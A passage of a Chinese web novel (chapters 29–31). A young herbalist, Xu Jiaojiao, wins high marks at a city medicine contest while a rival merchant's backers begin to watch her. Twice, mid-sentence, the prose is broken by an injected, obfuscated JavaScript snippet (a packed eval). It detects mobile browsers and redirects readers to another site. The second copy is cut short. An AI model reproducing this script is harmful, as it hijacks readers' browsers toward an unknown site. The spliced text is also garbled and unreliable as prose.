回到生药铺，周婶子和静心已备好了晚饭。听张东家说了今日的事，静尘眼中闪着光：“娇杏，我就知道你能行。” 店里的廖大夫和伙计听说了张记生药铺晋升明日的赛事，也都十分高兴，万大夫出诊不在。静心则满面欢喜。 饭罢，许娇娇回到后院准备。静尘默默帮她整理药材，静心轻手轻脚地研墨。 “师姐，静心，你们累了一天，快去歇着吧。”许娇娇看着两人眼下的倦色，心疼道。 “不累。”静尘摇头，“你明日比试要紧。我们虽不懂，但打打下手总是行的。” 许娇娇心头一暖，不再多说。 她取出小本子，翻到清热丸的方子。薄荷、连翘、金银花，加冰片和甘草。一步步来——碾粉、过筛、混合、蜜调。 静尘在一旁仔细看着，忽然道：“娇杏，这蜜调的火候，是不是很要紧？” “是。”许娇娇点头，“蜜要炼到滴水成珠，温度太高药性会损，太低又粘合不好。” “我帮你看着火候。”静尘搬了个小凳，坐在炉边。 静心则安静地分拣药材，把明日可能用到的都备好。 油灯下，三个少女各司其职。许娇娇专注地搓着药丸，静尘小心地控制火候，静心细细地挑拣药材。旺财趴在许娇娇脚边，偶尔抬起头看看，又安心地趴回去。 不知不觉，已是三更天。 窗外传来打更的梆子声。许娇娇将制好的丸药装进瓷瓶，长长舒了口气。 “成了。”她看向静尘静心，“谢谢你们。” 静尘微笑：“一家人，说什么谢。”吹熄油灯，三人各自回房。许娇娇躺在床上，望着窗外的月光，慢慢闭上了眼睛，今日，她在盛会上的表现得了行老认可。静尘和静心也在铺子里有了事做，水仙姑的迫害暂时放下，她还没有足够对抗她们的力量。 月光如水，静静流淌。远处传来打更的梆子声，一声，又一声。 29. 第29章 医药鉴别会（二） 今日，菰城的晨雾比昨日更浓些。 天光还未透亮，雾气便从太湖那边漫过来，湿漉漉地罩住了整座城。青石板路上凝着薄薄的水珠，踩上去悄没声息。街巷两侧的屋檐往下滴水，嘀嗒嘀嗒，像是谁在暗处拨着算盘。 北瓦子今日的布置与昨日不同。 中心广场那三座木台还在，可台上铺的靛蓝粗布换成了素白棉布——这是防着药材染色，好教评判看得真切。台前木牌也换了字：“丸剂”“散剂”“膏剂”“丹剂”，朱漆在晨雾里润着暗红的光。 凉棚下多摆了几张长桌，桌上陈列着铜臼、石碾、药筛、蜜钵、炭炉等一应制药器具。几个青衣学徒正在擦拭，铜器碰撞声清脆，在寂静的晨雾里传得老远。 许娇娇跟着张东家到的时候，广场上的人比昨日少些，可气氛却更凝重。 昨日晋级的三十家药商、医馆，今日都要派代表参加“验熟药”比试。有的带了自家老药师，须发皆白，眼神锐利；有的带了年轻学徒，手脚麻利，神色紧张；还有几家大药行，竟是掌柜亲自上阵。 张东家将许娇娇送到丙字台前，低声嘱咐：“莫慌，按咱们昨夜准备的来。火候把握最关键，宁可慢些，莫要心急。” 许娇娇点头，将蓝布包袱放在台边的条凳上。包袱里是她昨夜赶制的几样成药：清热丸、金疮药、安神散，还有一小罐特制的柴胡舒肝散。 辰时初刻，太医署的王太医和行老都到了。 太医署的太医坐定点头，表示开始。 周行老今日换了身深青直裰，腰系丝绦，步履沉稳。李真人和关大夫、孙大夫跟在后头，四人径直走向评判席。落座后，周行老环视台下，缓缓开口：“医药之道，生药为基，熟药为用。丸、散、膏、丹，皆需炮制得法、火候得当，方能尽其药效。”他顿了顿，声音提高，“今日比试，考的是诸位制备熟药的真功夫。每一道工序，都在我等眼中。望诸位谨记——药是救人的，半点马虎不得。” 话音落下，司仪上前，展开手中名册： “丸剂比试，第一组：丙字十七号张记生药铺、甲字三号仁心堂、乙字八号保和堂！” 许娇娇心头一跳，深吸一口气，走向丸剂台。 台上已经站了两人。仁心堂的是位五十来岁的老药师，姓赵，面皮白净，手指修长，正慢条斯理地整理着衣袖。保和堂的是个三十出头的壮实汉子，姓刘，虎口有厚茧，一看便是常年捣药的。 三人互相拱手见礼，便在各自的制药桌前站定。 司仪宣布考题：“丸剂比试，制‘六味地黄丸’。限时一个时辰，以成丸色泽、大小均匀、药性保全为评判标准。现在——开始！” 话音刚落，赵药师便动了起来。 他从带来的药箱里取出六味药材：熟地黄、山茱萸、山药、泽泻、牡丹皮、茯苓，一一称量，分毫不差。而后取铜臼，将熟地黄放入，用铜杵细细捣碎。那手法极稳，每一下力道均匀，碎屑飞溅得极少。 刘师傅则是另一番做派。他将六味药材一股脑倒入石碾，双手握住碾轮，嘿的一声，碾轮滚动起来，发出轰隆隆的闷响。药材在碾槽里碎裂、研磨，不多时便成了粗粉。 许娇娇看着两人，定了定神，也开始了。 她先将熟地黄单独取出——这是主药，需先炮制。用小刀将熟地黄切成薄片，放入铜锅中，加少许黄酒，文火慢炒。酒气蒸腾起来，带着熟地黄特有的甜香。炒至微焦时取出，晾在一旁。 而后处理其余五味药材。山茱萸去核，山药切片，泽泻、牡丹皮、茯苓各自捣碎。她做得不快，可每一步都极仔细，药材处理得干净利落。 台下，张东家紧张得手心冒汗。张东家的浑家王氏也来了，站在他身边，双手合十，嘴里念念有词。 评判席上，四位行老的目光在三人之间来回移动。 李真人拈须低语：“赵药师手法老道，不愧是仁心堂三十年的老药师。刘师傅力大势沉，碾药效率高，可未免粗糙了些。” 孙大夫点头，目光落在许娇娇身上：“那小娘子倒是特别——熟地黄单独酒炒，是为增强滋补之效。这法子医书上有载，可实际操作的却少。火候把握得也准，未炒过火。” 周行老不语，只静静看着。 半个时辰过去，三人都进入了合药阶段。 赵药师将六味药粉过细筛，按比例混合，加入炼蜜，在蜜钵中反复揉搓。那蜜是他自家特制的枣花蜜，色泽金黄，香气浓郁。揉好的药坨软硬适中，他取出一块，在掌心搓成长条，再用刀切成均匀的小段，搓成丸。 刘师傅则简单粗暴得多。药粉混合后直接加蜜，揉成团便开搓。丸药大小不一，有的如黄豆，有的如蚕豆，在案板上滚来滚去。 许娇娇的工序最繁。她将酒炒过的熟地黄单独研磨成粉，过筛三次，确保细腻；其余五味药粉也分别过筛，这才混合。蜜用的是寻常槐花蜜，可她在蜜中加了少许芝麻油——这是前世爷爷教的法子，能让丸药更润泽，不易干裂。 揉药时，她双手蘸了少许清水，这样不沾手，丸药也更光滑。搓丸时，她不用刀切，而是将药坨搓成细长条，用拇指和食指掐断，每段分量几乎一致。搓成的丸药梧桐子大小，圆润均匀，在素白棉布上排成整齐的队列。 一个时辰将尽时，司仪高喊：“停手！” 三人同时停下。赵药师面前摆着三排丸药，每排十粒，粒粒浑圆，色泽黑亮。刘师傅的丸药大小不一，散乱地堆在案上。许娇娇的丸药则小巧均匀，在晨光中泛着温润的光泽。 周行老起身，走到台前。他先看赵药师的丸药，取一粒掰开，断面细腻，药香醇厚。又取一粒放入口中，细品片刻，点头：“蜜炼得恰到好处，药性保全完好。丸药大小均匀，色泽光亮。可评甲上。” 赵药师躬身行礼，神色平静，似是意料之中。 轮到刘师傅时，周行老眉头微皱。他随意取了几粒，大小不一，有的还沾着药粉。掰开一粒，断面粗糙，蜜未完全融入。放入口中，眉头皱得更紧：“蜜炼老了，有焦苦味。丸药大小不一，药粉未完全融合。评丙中。” 刘师傅脸色一白，垂首退到一旁。 最后是许娇娇的丸药。周行老仔细看了看丸药的色泽、大小，又取一粒掰开——断面细腻均匀，药粉与蜜完全融合，无颗粒感。放入口中，先是蜜的甜润，而后药味缓缓化开，熟地黄的酒香隐约可辨。 他沉默片刻，问：“你在蜜中加了何物？” “回行老，加了一钱芝麻油。”许娇娇恭敬答道，“芝麻油性润，能让丸药更滋润，久存不干裂。” 周行老眼中闪过一丝讶异，转向李真人：“真人以为如何？” 李真人上前，也取一粒品尝，缓缓道：“熟地黄酒炒得法，去其腻性，增其滋补。芝麻油加得巧妙——六味地黄丸本为滋阴之剂，加芝麻油助其润燥，确有益处。”他顿了顿，“丸药大小均匀，色泽温润，药性保全完好。可评甲中。” 周行老点头，在名册上记下：“丙字十七号，六味地黄丸，制法新颖，药性保全，评甲中。” 台下响起一片低语。张东家和王氏喜笑颜开，这是从来没有过的，张记能品评甲中，张东家觉得自己果然慧眼识珠。 丸剂比试结束，许娇娇暂列第二，仅次于仁心堂的赵药师。 接下来的散剂比试，许娇娇抽到的是“玉屏风散”。 这是益气固表的方子，只有三味药：黄芪、白术、防风。药材简单，可要制好却不易——三味药性不同，需分别炮制，再按比例混合研磨，过筛需极细。 这回与许娇娇同台的是两家小药铺的学徒，年纪都比她大些，可手法生疏，紧张得手都在抖。 许娇娇沉心静气，先将黄芪、白术分别用麦麸炒过——麦麸炒能增强健脾益气之效。炒至微黄时取出，晾凉。防风则用清水稍浸，润透后切片，阴干。 三味药分别研磨成粉。她用的是小石臼，一下一下，力道均匀。研磨好的药粉过细筛，筛了三遍，直到粉末细腻如尘，这才混合。 混合时也有讲究。她将药粉倒在素白棉布上，提起布角，轻轻抖动，让药粉自然混合均匀。而后再过一次筛，确保无结块。 制好的玉屏风散，色泽淡黄，粉末细腻，嗅之有淡淡的药香。 评判时，周行老取少许药粉放在掌心，用指尖捻开，又凑近闻了闻，点头：“黄芪、白术麦麸炒得恰到好处，未过火。防风处理得法，未损其祛风之效。药粉细腻，混合均匀。评甲下。” 另两位学徒，一个炒焦了白术，药粉发苦；一个研磨不细，药粉粗糙，都只得了丙等。 两轮比试下来，许娇娇的成绩竟排进了前十。消息传开，在场众人议论纷纷，有对她刮目相看的、有暗自嘀咕的、有那老学究不忿，暗道一个女流之辈抛头露面成何体统。反正各种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222040|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音都有。当中有些女医，还有官媒认定的产婆，心里却十分羡慕。从没有女子在医药鉴别会上如此行事，原来女子也可以展示自己所学啊！ 昨日还有些人议论她是沾了张记的光，今日却都闭了嘴。真本事摆在眼前，做不得假。 午时休憩，许娇娇坐在凉棚下喝水。王氏让丫鬟急忙买了几个肉包子回来：“娇杏，快吃些！下午还有的忙呢！” “正是，下午膏剂、丹剂的比试，可得攒足力气！”张东家兴致颇高的道。 下午的膏剂比试，许娇娇抽到的是“金黄膏”，这是外用消肿止痛的膏药。需用黄柏、大黄、黄芩等十余味药材，煎取浓汁，再加蜂蜡、香油熬制成膏。 这比丸剂、散剂难得多——火候稍过，膏药便焦苦；火候不足，又难以成膏。且需不停搅拌，是个费力的活儿。 与许娇娇同台的，是仁心堂的赵药师和另一家大药行的老药师。三人各自站在炭炉前，炉上坐着铜锅，锅里药汁翻滚，咕嘟咕嘟冒着泡。 赵药师手法娴熟，一手持铜勺缓缓搅动，一手控制炭火大小。药汁在他锅中渐渐浓稠，色泽金黄透亮，香气醇厚。 另一老药师也不逊色，虽年岁大些，可臂力仍足，搅拌得均匀有力。 许娇娇个子小，站在炉前需踮着脚。她将药汁煎至适当浓度后，加入蜂蜡。蜂蜡需慢慢融化，不能急，急了易起烟，膏药会有焦味。她一手持勺搅拌，一手用湿布垫着锅耳，不时调整炭火。 汗水从额角滑落，她也顾不上擦。膏药渐渐成型，色泽金黄，质地细腻。她取少许涂在手背上，凉意透肤，药香清雅——成了。 评判时，周行老将三人的膏药分别涂在素白棉布上，对着日光细看。赵药师的膏药色泽最亮，质地均匀；老药师的稍暗些，但也合格；许娇娇的膏药色泽温润，质地细腻，虽不如赵药师的亮，可药香更纯。 “三人皆成膏，药性保全。”周行老缓缓道，“赵药师火候把握最准，膏药色泽光亮，评甲上。许娇娇膏药质地细腻，药香纯正，评甲中。王药师膏药稍暗，评甲下。” 许娇娇松了口气——甲中，已是极好的成绩。 最后是丹剂比试。丹剂最难，需用金石类药物，炼制过程复杂，稍有差池便会失败。许娇娇从未学过，便如实向司仪说明，自愿放弃这一项。 司仪报给周行老，周行老点点头：“知之为知之，不知为不知，是知也。放弃也是明智。” 丹剂比试只有七八人参加，最终成丹的不过三人。仁心堂的赵药师炼出了一炉“紫雪丹”，丹色紫黑，隐有光泽，得了甲上，成为今日当之无愧的头名。 申时末，所有比试结束。 司仪当众宣读成绩：“丸剂、散剂、膏剂三场综合，前十名如下：第一名，甲字三号仁心堂赵药师；第二名，丙字十七号张记生药铺许娇娇；第三名，乙字五号济世堂……” 许娇娇排在第二，成功晋级明日的“议医理”比试。 张东家大喜，拉着许娇娇的手直抖：“第二！第二啊娇杏！咱们铺子从未有过这般成绩！” 许娇娇却异常平静。她看向评判席，周行老正与李真人低声交谈，不时朝她这边看上一眼。李真人含笑点头，似是嘉许。 今日的比试，让她看清了自己的斤两。制药她有些天赋，可医药之道博大精深，她要学的还太多。 从北瓦子出来，夕阳已将天边染成一片橘红。街市上人来人往，喧闹如常，可许娇娇却觉得心里格外安静。 回到生药铺，王氏已让人备好了一桌丰盛的晚饭。张东家特意开了坛珍藏的黄酒，给许娇娇也倒了一小杯：“今日值得庆贺，你也喝一口！” 许娇娇推辞不过，抿了一小口。酒液辛辣，呛得她直咳嗽，张东家和王氏都笑起来。静尘和静心在一旁陪坐，静心一脸崇拜看着许娇娇，静尘则安静些。 饭罢，许娇娇回到后院。静心打了水让许娇娇洗漱，静尘拿了针线活在灯下缝补，许娇娇坐在桌前翻看医书。 她看得入神，直到静尘喊她，她才惊觉夜深。 合上册子，她望向窗外。月色如水，洒在青石板地上，映出一片清辉。 明日是“议医理”，考的是诊断开方的真本事。这是她最弱的一环，可也是医者最根本的一环。 她不怕。 医药之道，路漫漫其修远兮。可只要一步一步走，总会走到想去的地方。 30. 第30章 医药鉴别会（三） 第三日，菰城落雨了。 雨是寅时末开始下的，起初只是细密的雨丝，悄没声息地打在瓦片上，沙沙的，像春蚕食叶。到了卯时，雨势渐大，屋檐开始往下淌水，滴在青石板上，溅起一朵朵水花。 北瓦子今日的场地挪到了棚屋里。 那是瓦子西侧一排长长的棚屋，平日里是杂耍班子堆放器械的地方，今日打扫出来，摆了二十几张方桌，每桌配四把条凳。棚屋两头挂起了防雨的油布帘子，雨打在上面，噼啪作响，反倒衬得屋里格外安静。 许娇娇跟着张东家和王氏到时，棚屋里已经坐了不少人。张东家今日特意换上了那身崭新的靛蓝直裰，王氏也穿了件体面的青灰色褙子，两人陪许娇娇在角落找了位置坐下。 “娇杏，莫紧张。”王氏轻拍许娇娇的手，“就当平日在家配药看诊。” 张东家也低声道：“昨日炮制那关过得漂亮，今日诊治考的是真功夫，你底子扎实，定能行。” 许娇娇点头，目光扫过棚内。仁心堂的赵药师坐在最前排，正闭目养神；济世堂的陈大夫慢条斯理地整理脉枕。而在另一角落，一张桌后坐着两个人格外显眼——一个五十来岁的干瘦老者，三角眼，山羊胡，眼神精明中带着倨傲；另一个三十出头，圆脸微胖，穿着绸缎长衫。 张东家顺着她的目光看去，脸色微变，压低声音：“那是庆和堂的孙大夫和钱掌柜。庆和堂是……王大官人的产业。” 许娇娇心下一凛。王大官人……水仙姑背后那人。她不动声色地收回目光，手心却微微出了汗。 钱掌柜正侧身对孙大夫耳语：“……大官人吩咐了，要留意那个叫许娇杏的丫头。水仙姑那蠢货栽在她手里，虽说是自找的，可这面子……” 孙大夫眼皮都不抬：“一个乡下丫头，能掀起什么浪？今日让她见识见识什么是真本事。” 辰时初刻，四位行老到了。太医署的王太医今日到的更早，坐在隔席与医官低语。 周行老在前，李真人和关大夫、孙大夫跟在后头。四人先与王太医见礼，而后在棚屋正前方的主位落座。 桌上已备好文房四宝与一叠素白宣纸。周行老环视屋内，缓缓开口： “医药之道，理法方药，缺一不可。识药、制药是基础，诊病、开方才是根本。”他顿了顿，雨声中声音格外清晰，“今日‘议医理’，考的是诸位诊治的真功夫。不考偏方奇术，只考常见病、多发病的诊治。望诸位以常理常法，解寻常之疾。” 说罢，朝司仪点头。 司仪手持名册上前：“第一题，请诸位诊治一例‘春温’。” 两个青衣学徒扶着一个老妇人进来。老妇人约六十上下，脸色潮红，呼吸急促，不时咳嗽。学徒扶她到主位前的椅子上坐下。 “这位是城西刘婆婆，三日前开始发热、咳嗽，自行服过姜汤，未见好转，反加重。”司仪道，“请诸位依次诊脉，写下诊断、治法、方药。限时一炷香。” 十位参试者轮流上前。 赵药师第一个，诊脉问询后回座提笔。济世堂陈大夫亦沉稳应对。 轮到许娇娇时，她定神上前。老妇人脸色潮红异常，额角有细汗，呼吸粗重。三指搭上腕脉——脉浮数有力，如按琴弦。 “婆婆，可能让我看看舌苔？”许娇娇轻声问。 刘婆婆伸舌。舌质红，苔薄黄而干。 “除了发热咳嗽，可还有头痛、身痛？” “有，有！头痛得像要裂开，浑身骨头都疼……” “夜里出汗么？” “不出汗，就是干烧。” 许娇娇心里有数了——春温，风温犯肺，卫气同病。热势已盛，津液已伤。 她回座提笔写下诊断：“春温，风温犯肺，热盛伤津。”治法：“辛凉解表，清热生津。”方药：“银翘散合白虎汤加减：金银花三钱、连翘三钱、薄荷一钱、淡竹叶二钱、生石膏五钱、知母三钱、甘草一钱、粳米一小撮。” 写罢，又在下方添了小字：“若病家贫寒，生石膏可减为三钱，加芦根五钱、天花粉三钱替代。” 这是李真人这几日教她的——开方不仅要对症，还要虑及病人实情。 棚屋外观战的张东家和王氏紧张地望着。王氏捏紧了手帕，张东家则目不转睛地盯着许娇娇的侧影。 一炷香燃尽，司仪收卷。 三位行老当场阅卷。周行老拿起赵药师的答卷，看罢点头：“诊断准确，方用银翘散合麻杏石甘汤，切中病机。评甲上。” 又看济世堂陈大夫的：“方用桑菊饮加减，轻清宣透，亦是对症。评甲中。” 轮到许娇娇的答卷时，周行老顿了顿。他仔细看了方药，又看那行小字，抬眼看向许娇娇：“你为何想到加芦根、天花粉？” 许娇娇起身恭敬答道：“生石膏虽清热力强，可价贵，且性寒易伤脾胃。芦根甘寒，清热生津而不伤正；天花粉清热润燥，价格也便宜。若病家贫寒，用这两味替代部分生石膏，既能清热，又不至负担过重。” 周行老与李真人对视一眼，李真人拈须点头：“虑及周全，仁心可嘉。方药也对症，可评甲中。” 第一轮，许娇娇得了甲中。 棚外观战的王氏松了口气，张东家脸上露出笑容。而另一角落，钱掌柜眯眼望着许娇娇，手指在桌上轻敲两下，对孙大夫低语：“这丫头……倒真有两下子。” 孙大夫冷哼一声：“取巧罢了。” 第二轮考“妇人病”。 这回进来的是个三十来岁的妇人，面色萎黄，精神不振。自述月经量少，色淡，延期不至，伴有头晕心悸、食欲不振。 许娇娇诊脉，脉象细弱无力，如按棉絮；舌质淡，苔薄白。她想起在山上时见过的类似病症，心中了然。 回座提笔写下诊断：“气血两虚，冲任不调。”治法：“益气养血，调补冲任。”方药：“八珍汤加减”，并注明：“若用不起人参，可用党参三钱替代。阿胶价贵，可用鸡血藤五钱、枸杞子三钱替代。” 关大夫阅卷后道：“八珍汤对证，加阿胶、大枣增强补血之效，思路正确。替代之法也妥当——党参虽不及人参，可补气之力仍存；鸡血藤、枸杞子补血滋肾，价廉易得。”他看向周行老，“可评甲中。” 周行老点头。 两轮下来，许娇娇稳居前三。棚屋内的议论声比昨日大了不少，那些原本没把她放在眼里的药师、郎中，此刻投来的目光已带上惊讶与审视。 钱掌柜的脸色却越来越难看。这丫头不仅真有本事，还两次在方子里特意标注廉价替代之药——这分明是做给行老看的“仁心”把戏！可偏偏行老们就吃这一套。 他凑近孙大夫，声音压得极低：“孙大夫，下一轮您可得拿出真本事。若让这丫头压过庆和堂的风头，大官人那边……” 孙大夫面皮抽动了一下，没说话。 第三轮考“小儿病”。 被抱进来的是个五六岁的男童，面色苍白，精神萎靡，不时咳嗽几声。孩子母亲说，孩子病了七八日，起初只是咳嗽，后来开始拉肚子，吃了些止泻药，可不见好，反加重。 许娇娇诊脉，发现孩子脉象细弱，指纹淡红隐隐。舌质淡，苔白腻。她轻声问孩子母亲：“孩子拉肚子，是水样的，还是糊状的？可有不消化的食物？” “水样的，哗啦哗啦的……吃什么都拉，拉的都是不消化的……” “可有呕吐？” “有，吃下去就吐。” 许娇娇心里有数了——这是小儿泄泻，脾虚湿盛。孩子本就脾胃娇嫩，又用错了药，伤了正气。 她回座提笔写下诊断：“小儿泄泻，脾虚湿盛，中气下陷。”治法：“健脾益气，化湿止泻。”方药：“参苓白术散加减：党参二钱、白术二钱、茯苓三钱、山药三钱、莲子肉二钱、扁豆二钱、砂仁五分、桔梗一钱、炙甘草五分。加煨姜一片、大枣二枚。” 写方时，她特意将砂仁只用了五分，煨姜仅一片——小儿脏腑娇嫩，分量宜轻，且砂仁辛温，用多了易伤阴。 李真人阅卷后，捻须颔首：“参苓白术散对证，加煨姜、大枣温中和胃，思虑周全。小儿脏腑娇嫩，此方分量把握得宜，尤见审慎。” 他正欲评等，一旁的孙大夫却微微皱眉：“方虽稳妥，然小儿泄泻，先贤亦有‘利小便以实大便’之法。此方偏重温补，是否稍嫌守成？依老夫看，至多评为甲等。” 周行老沉吟未语，目光却扫向许娇娇——他心中也觉此方略显中规中矩，虽无错处，却未必当得起“甲上”之誉。 李真人摇头：“不然。此证已七八日，兼见呕吐、完全不化，是脾胃之气已伤，非单纯水湿困阻。此时若再分利，恐更损中阳。温中健脾，正是治本之道。” 二人各执一词，席间低议渐起。 一直静坐观裁的王太医，此时指尖在案上轻轻一叩。声音不重，棚内却倏然一静。 他目光掠过案上那份字迹清秀的方笺，缓声开口： “小儿之病，易虚易实，传变最速。此证初起或属湿盛，然迁延多日，又经误治，病机已转为脾虚气陷——许娘子能辨此转折，未拘泥常法，是其识见。” 他略顿，见众人凝神，才续道： “更难得者，是用药之度。砂仁只用五分，煨姜仅取一片，此非怯懦，恰是深知小儿脏腑成而未全，全而未壮之特。重病轻取，如持玉杯，是医者仁心，亦是功夫。” 言至此，他抬眼看向李真人：“李大夫评甲上，允当。” 话音落下，满棚寂然。周行老神色微动，终是缓缓点头。孙大夫也敛了质疑之色，沉默不语。 甲上！ 许娇娇立在原地，耳中嗡嗡作响——她没想到，那位一直沉默的太医，竟会为她开口，字字句句，皆说中了她的本心。 棚屋外，张东家激动的频频点头：“甲上！娇杏得了甲上！” 王氏眼里泛着泪光，连连点头。 而钱掌柜的脸彻底黑了。他狠狠瞪了孙大夫一眼——庆和堂只得了两个甲中一个甲下，排名第五！竟被个乡下丫头压了一头！ 孙大夫面色铁青，袖中的手攥得死紧。 总成绩揭晓：仁心堂赵药师三甲上，稳居第一；许娇娇两甲中一甲上，与济世堂陈大夫并列第二。 午时休憩，雨势稍歇。 许娇娇走出棚屋，张东家和王氏立刻迎上来。王氏拉着她的手，声音发颤：“好孩子，好孩子……” 张东家则激动得语无伦次：“甲上！王太医亲口夸赞！娇杏，你这下真要扬名了！” 不远处，钱掌柜冷眼看着这一幕，转身对一个随从低语：“去，仔细查查这丫头的落脚处。她不是一个人来的，肯定有同伴。要悄无声息，别打草惊蛇。” 随从点头，悄无声息地没入人群。 同一时辰，张记生药铺。 静尘正仔细擦拭药柜，静心在院里晾晒昨日洗好的衣物。雨停了，阳光从云缝里漏下来，照得院子里积水亮晶晶的。 张记生药铺的伙计陈平急匆匆跑进来，脸上满是兴奋：“静尘姑娘，静心姑娘！你们猜怎么着？许姑娘今日得了甲上！排名第二！” 静尘手中的抹布顿了顿，眼中霎时盈满光彩。静心“啊”了一声，欢喜得脸都红了。 “真的？具体怎么回事？”静尘忙问。 陈平将听来的情形说了，尤其讲到王太医当众赞赏那段。静尘听得心潮起伏，静心则小声道：“娇杏真厉害……” “是啊。”静尘握住静心的手，“她一直很厉害。” 可欢喜之余，静尘心底却掠过一丝不安。树大招风，娇杏这般出挑，会不会惹来麻烦？她想起水仙姑那双怨毒的眼睛，想起王大官人在归平县的势力……菰城虽大，可那些人若真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许娇娇垂首，姿态恭谨：“微末之技，得蒙太医青眼，实属侥幸，愧不敢当。” “侥幸？”王太医微微抬眸，目光如实质般扫过在场诸人，最后回到许娇娇身上，“医药关乎人命，何来侥幸可言。你有天赋，更有仁心体恤贫者，此二者，方是根本。”他话锋一转，语气沉凝了几分，“我大越立朝以来，陛下仁德，深知百姓疾苦。陛下有旨，天下技艺，惟才是举，以惠万民。太医署奉旨督办医药事宜，于女子习医、行医之事，虽有世俗非议，然陛下圣明，颁旨倡扬，正是为了广纳贤才，不拘一格。” 他看向许娇娇，言辞愈发恳切而威严：“今日见你，可知陛下深意。女子心细，于儿科、妇科等症，常有独到之处。然既选此路，便当时时牢记，尔所承托，非止一己前程，更为陛下倡导之新风，为后来女子开一道门径。望你谨守仁心，精研医术，以汝之所学，证女子亦能悬壶济世，功在社稷。莫负皇恩，莫负己身之志。” 这番话，煌煌如钟鸣，既是极高的认可与期许，亦是将一份沉重的责任明晰道出。 许娇娇心头凛然。她后退一步，提起裙摆，端端正正行了一个大礼，声音清晰而坚定：“太医教诲，我当谨记。定当恪守医道，精进医技，不负陛下隆恩，不负太医厚望，亦不负此生所学。” 从茶肆出来，雨已停了。夕阳将湿漉漉的青石板路染成一片金黄。 许娇娇与张东家、王氏一同回铺子。路上，她隐约觉得有人跟在后面。回头看，只有几个寻常路人。 是她多心了么？ 回到生药铺，静尘和静心正在前堂等候。见她们回来，静心最先跑过来：“娇杏！陈平都说了！甲上！” 静尘也走过来，眼中满是骄傲，却又藏着一丝忧虑。她握住许娇娇的手，低声道：“累了吧？锅里热着饭，快去吃点。” 晚饭时，张东家和王氏还在兴奋地说着今日的事。许娇娇默默吃饭，静尘不时看她一眼。 回到后院，静尘跟了进来，关上门。 “娇杏，”她声音很低，“今日可有什么……不寻常的事？” 许娇娇一愣：“师姐为何这么问？” 静尘犹豫了一下：“我也不知道，就是……心里有些不踏实。你今日风头太盛，我怕……” 许娇娇握住她的手：“师姐别担心。这是在菰城，众目睽睽之下，他们不敢怎么样。” “可是……” “别怕师姐，”许娇娇安慰静尘，“我如今就是要把名声先打出去，这样，他们真敢动我们，也得掂量掂量。” 静尘看着她沉稳的眼神，心中的不安稍稍缓解。是啊，娇杏已经不是那个需要她保护的小施主了。她长大了，有了自己的路，也有了保护自己的能力。 “那……你早些歇息。”静尘轻声说，“明日还有事呢。” 许娇娇点头。 夜深了，她躺在床上，却无睡意。 窗外月光如水。她翻了个身，望着帐顶。 不能退缩。越是如此，越要往前走。只有自己站得够高，根扎得够深，才能不被风雨吹倒。 她闭上眼睛。 明日是“药材交易与交流”。后日，盛会就结束了。 等结束，她要带着静尘静心，在菰城真正安顿下来。租赁个小院，开个小铺子，先安动下来，一切等强大了再说。 雨后的夜，格外清澈，也格外漫长。 而在城东一座深宅大院里，钱掌柜正垂首站在书房外。门内传来茶盏轻叩的声音，一个低沉的声音缓缓道： “许娇杏……就是那个坏了我好事的丫头？” “是，大官人。今日她在盛会上得了甲上，风头正劲。” 屋内沉默片刻，那声音再度响起，带着一丝玩味： “盯着她，别打草惊蛇。我倒要看看，她有多能耐。” 31. 第31章 中医药鉴别会（四） 三月廿一，菰城的天终于放晴了。 接连两日的阴雨把青石板路洗得发亮，晨光斜斜地照过来，石缝里积着的水洼映出湛蓝的天色。街边的药材摊子早已支棱起来，各色药材在晨光里泛着油润的光——川黄连的苦辛气、肉桂的温香气、薄荷的清凉气，混杂在一起，氤氲成一片独特的药市味道。 张记生药铺的摊位在北瓦子西北角，偏僻，不大显眼。许娇娇帮着伙计将药材一一摆开，老山参、川贝母这些贵细药材放在最里侧，柴胡、当归等常用的摆在中间，最外头是些金银花、薄荷之类的寻常草药。那些成药——清热丸、金疮药、安神散，用小瓷瓶装了，贴着红纸标签，整整齐齐码在摊子一角。 “今日咱们不图卖多少，能识得几个正经药商便是好的。”张东家一边整理药材，一边低声嘱咐药铺的两个伙计，“北瓦子交易会五年一回，江南道有头脸的药商都来了。咱们这样的铺子，能混个脸熟，日后进货出货都方便些。” 许娇娇也点头，认同张东家的话，将最后一瓶金疮药摆正。她心里清楚，张记生药铺在菰城只算中等，跟仁心堂、济世堂那样的大字号比不得。这几日她在鉴评会上露了脸，已惹了些议论，今日更要低调些才好。 辰时三刻，交易会正式开市。 药商们的吆喝声此起彼伏，各摊位前渐渐聚拢了人。仁心堂的摊位在东头最显眼处，几个伙计正热情地向客人介绍着新制的丸药；济世堂的药材堆成小山，掌柜的亲自坐镇，与熟客寒暄；其余州府来的药商，也各显神通，有的摆出稀罕药材吸引眼球，有的降价促销招揽生意。 张东家的摊位前冷冷清清。偶尔有人路过，瞥一眼便走开了——这位置太偏，摊子又小，实在不起眼。 许娇娇也不急，静静守着摊子。她将那些药材又整理了一遍，将有些受潮的柴胡翻出来重新晾晒，又将标签有些模糊的药瓶换上新签。 约莫过了半个时辰，终于有人过来了。 是个四十来岁的中年人，穿着半旧的靛蓝直裰，背着手在各摊位前转悠，看模样像是个走街串巷的药材贩子。他在张东家摊前停下，拿起一支柴胡看了看：“这柴胡……炮制得倒讲究。” 张东家忙道：“客官好眼力，这是用古法炮制的，保其药性。” 中年人又看了看当归、川贝母，点点头：“品相不错。”他目光落在那些成药上，“这些是……” “是铺子里自制的成药。”许娇娇上前，拿起一瓶清热丸，“治风热感冒、咽喉肿痛的。” 